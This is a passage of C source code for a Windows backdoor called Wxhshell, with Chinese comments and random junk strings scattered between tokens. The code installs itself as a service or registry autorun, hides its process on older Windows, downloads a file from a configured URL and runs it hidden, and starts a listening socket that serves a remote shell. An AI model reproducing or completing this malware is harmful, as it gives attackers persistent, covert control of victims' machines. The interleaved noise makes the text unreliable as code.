(PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !V6O~# =hO0@w CloseHandle(hProcess); HNRZ59Yyq X;I;CZ={ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sacaL4[_< if(hProcess==NULL) return 0; jz%%r Q( i0%S6vmaS HMODULE hMod; A@X&dy char procName[255]; <d GGH unsigned long cbNeeded; lIg;>|'Z5& j~eYq if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6mnj!p]3 z;_fO>u: CloseHandle(hProcess); D,rF?t>=S
w34&m if(strstr(procName,"services")) return 1; // 以服务启动 `H5n_km dcgz<m return 0; // 注册表启动 ,[lS)`G } ix<sorR H k#I4^ // 主模块 S&A, Q' int StartWxhshell(LPSTR lpCmdLine) Xq9n-;%zL { 4{h?!Z* SOCKET wsl; <303PPX^6 BOOL val=TRUE; d+_wN2 int port=0; ,{ C struct sockaddr_in door; "-'w,g LP8Stj JP if(wscfg.ws_autoins) Install(); #[^?f[9r v(?^#C>6W port=atoi(lpCmdLine); ,iXE3TN;W Cw<bu|? if(port<=0) port=wscfg.ws_port; .~+I"V{yF d?RKobk WSADATA data; (=d%Bn$6b if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <m"yPi3TY MZGN,[~)6 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "(6]K}k@ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #-ioLt% door.sin_family = AF_INET; /hPgOaB door.sin_addr.s_addr = inet_addr("127.0.0.1"); V=pg9KR!T door.sin_port = htons(port); %C_RBd 6OJ`R.DM` if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $z!o&3c'x closesocket(wsl); ;O*y$|+PA return 1; M+X>!Os } 2,c{Z$\kn Ixhe86-:T if(listen(wsl,2) == INVALID_SOCKET) { HL;y5o? closesocket(wsl); Y|t] bb return 1; ;?>xuC$ } ;Ocih<4k Wxhshell(wsl); TbqED\5@9w WSACleanup(); .z
u0GsU= =}Np0UP return 0; / c1=`OJ JG xuB*} } ?lJm}0> q<L>r?T[ // 以NT服务方式启动 eeX^zaKl] VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x:W nF62 { cD&53FPXC DWORD status = 0; <0OZ9?,dm DWORD specificError = 0xfffffff; F V8K_xj !/W[6'M#p serviceStatus.dwServiceType = SERVICE_WIN32; xEN""*Q serviceStatus.dwCurrentState = SERVICE_START_PENDING; 1$Rua serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X/ serviceStatus.dwWin32ExitCode = 0; A)/
8FYc serviceStatus.dwServiceSpecificExitCode = 0; o}&TFhT serviceStatus.dwCheckPoint = 0; ) -+u8# serviceStatus.dwWaitHint = 0; .lVC>UT 0?} ),8v> hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jm1f,=R if (hServiceStatusHandle==0) return; nUi
4!|r b4GD}kR status = GetLastError(); xSFY8 if (status!=NO_ERROR) 0|g|k7c{rF { 4,CQJ serviceStatus.dwCurrentState = SERVICE_STOPPED; hj@< wU serviceStatus.dwCheckPoint = 0; |~b.rKQt[ serviceStatus.dwWaitHint = 0; B#RwW, serviceStatus.dwWin32ExitCode = status; bD_|n!3 serviceStatus.dwServiceSpecificExitCode = specificError; >U\,(VB SetServiceStatus(hServiceStatusHandle, &serviceStatus); }eUeADbC return; |QwX } \.+.VK 5)fEs.r0U serviceStatus.dwCurrentState = SERVICE_RUNNING; QXZjsa_| serviceStatus.dwCheckPoint = 0; UR|UGldt_T serviceStatus.dwWaitHint = 0; GxWA=Xp^~G if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *-~B{2b< } T
9Jv '@)47]~ // 处理NT服务事件,比如:启动、停止 qdoJIP{ VOID WINAPI NTServiceHandler(DWORD fdwControl) 7=yC*]BH-= { O,(p><k$/ switch(fdwControl) <Cc}MDM604 { OQ&?^S`8', case SERVICE_CONTROL_STOP: 9 p6QNDp serviceStatus.dwWin32ExitCode = 0; J(+I` serviceStatus.dwCurrentState = SERVICE_STOPPED; g_?:G$1H serviceStatus.dwCheckPoint = 0; s[h& Uv"G serviceStatus.dwWaitHint = 0; 40cgsRa| { <Z%iP{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]Igd< } 6'6"Ogu%' return; o:E+c_^q` case SERVICE_CONTROL_PAUSE: "Ka2jw, serviceStatus.dwCurrentState = SERVICE_PAUSED; RUHQ]@d#T break; P?%kV case SERVICE_CONTROL_CONTINUE: >SO !{ serviceStatus.dwCurrentState = SERVICE_RUNNING; _,V
9^ break; $Lpt2:.(( case SERVICE_CONTROL_INTERROGATE: ,H!E :k break; 6.? Ke8iC }; _^cDB1I? SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2\h]*x%: } ~ _C[~- D 3m4:z // 标准应用程序主函数 ycAQHY~n int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EVc
Ees { k(|D0%#b7 P/;sZo // 获取操作系统版本 uM"G)$I\ OsIsNt=GetOsVer(); J6Uo+0S GetModuleFileName(NULL,ExeFile,MAX_PATH); nO^aZmSu g.yr)
LHt0 // 从命令行安装 S;#S3?G if(strpbrk(lpCmdLine,"iI")) Install(); 6XyhOs%/ LGx]z.30B // 下载执行文件 +&?#Gdb if(wscfg.ws_downexe) { ;.$AhjqiP if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9[yW&t;# WinExec(wscfg.ws_filenam,SW_HIDE); s;!TB6b@ } R42+^'af 1?:/8l%V if(!OsIsNt) { T,z7U2O // 如果时win9x,隐藏进程并且设置为注册表启动 uE {r09^q\ HideProc(); s~N WJ*i StartWxhshell(lpCmdLine); \09m
?;^ } BYj Eo else HRX}r$ if(StartFromService()) quXL'g // 以服务方式启动 F@ Sw StartServiceCtrlDispatcher(DispatchTable); 9!CD25u else ~mAv)JK // 普通方式启动 h-)tWJ c StartWxhshell(lpCmdLine); }<m'Nkz<X )"W__U0 return 0; pC=kv ve }
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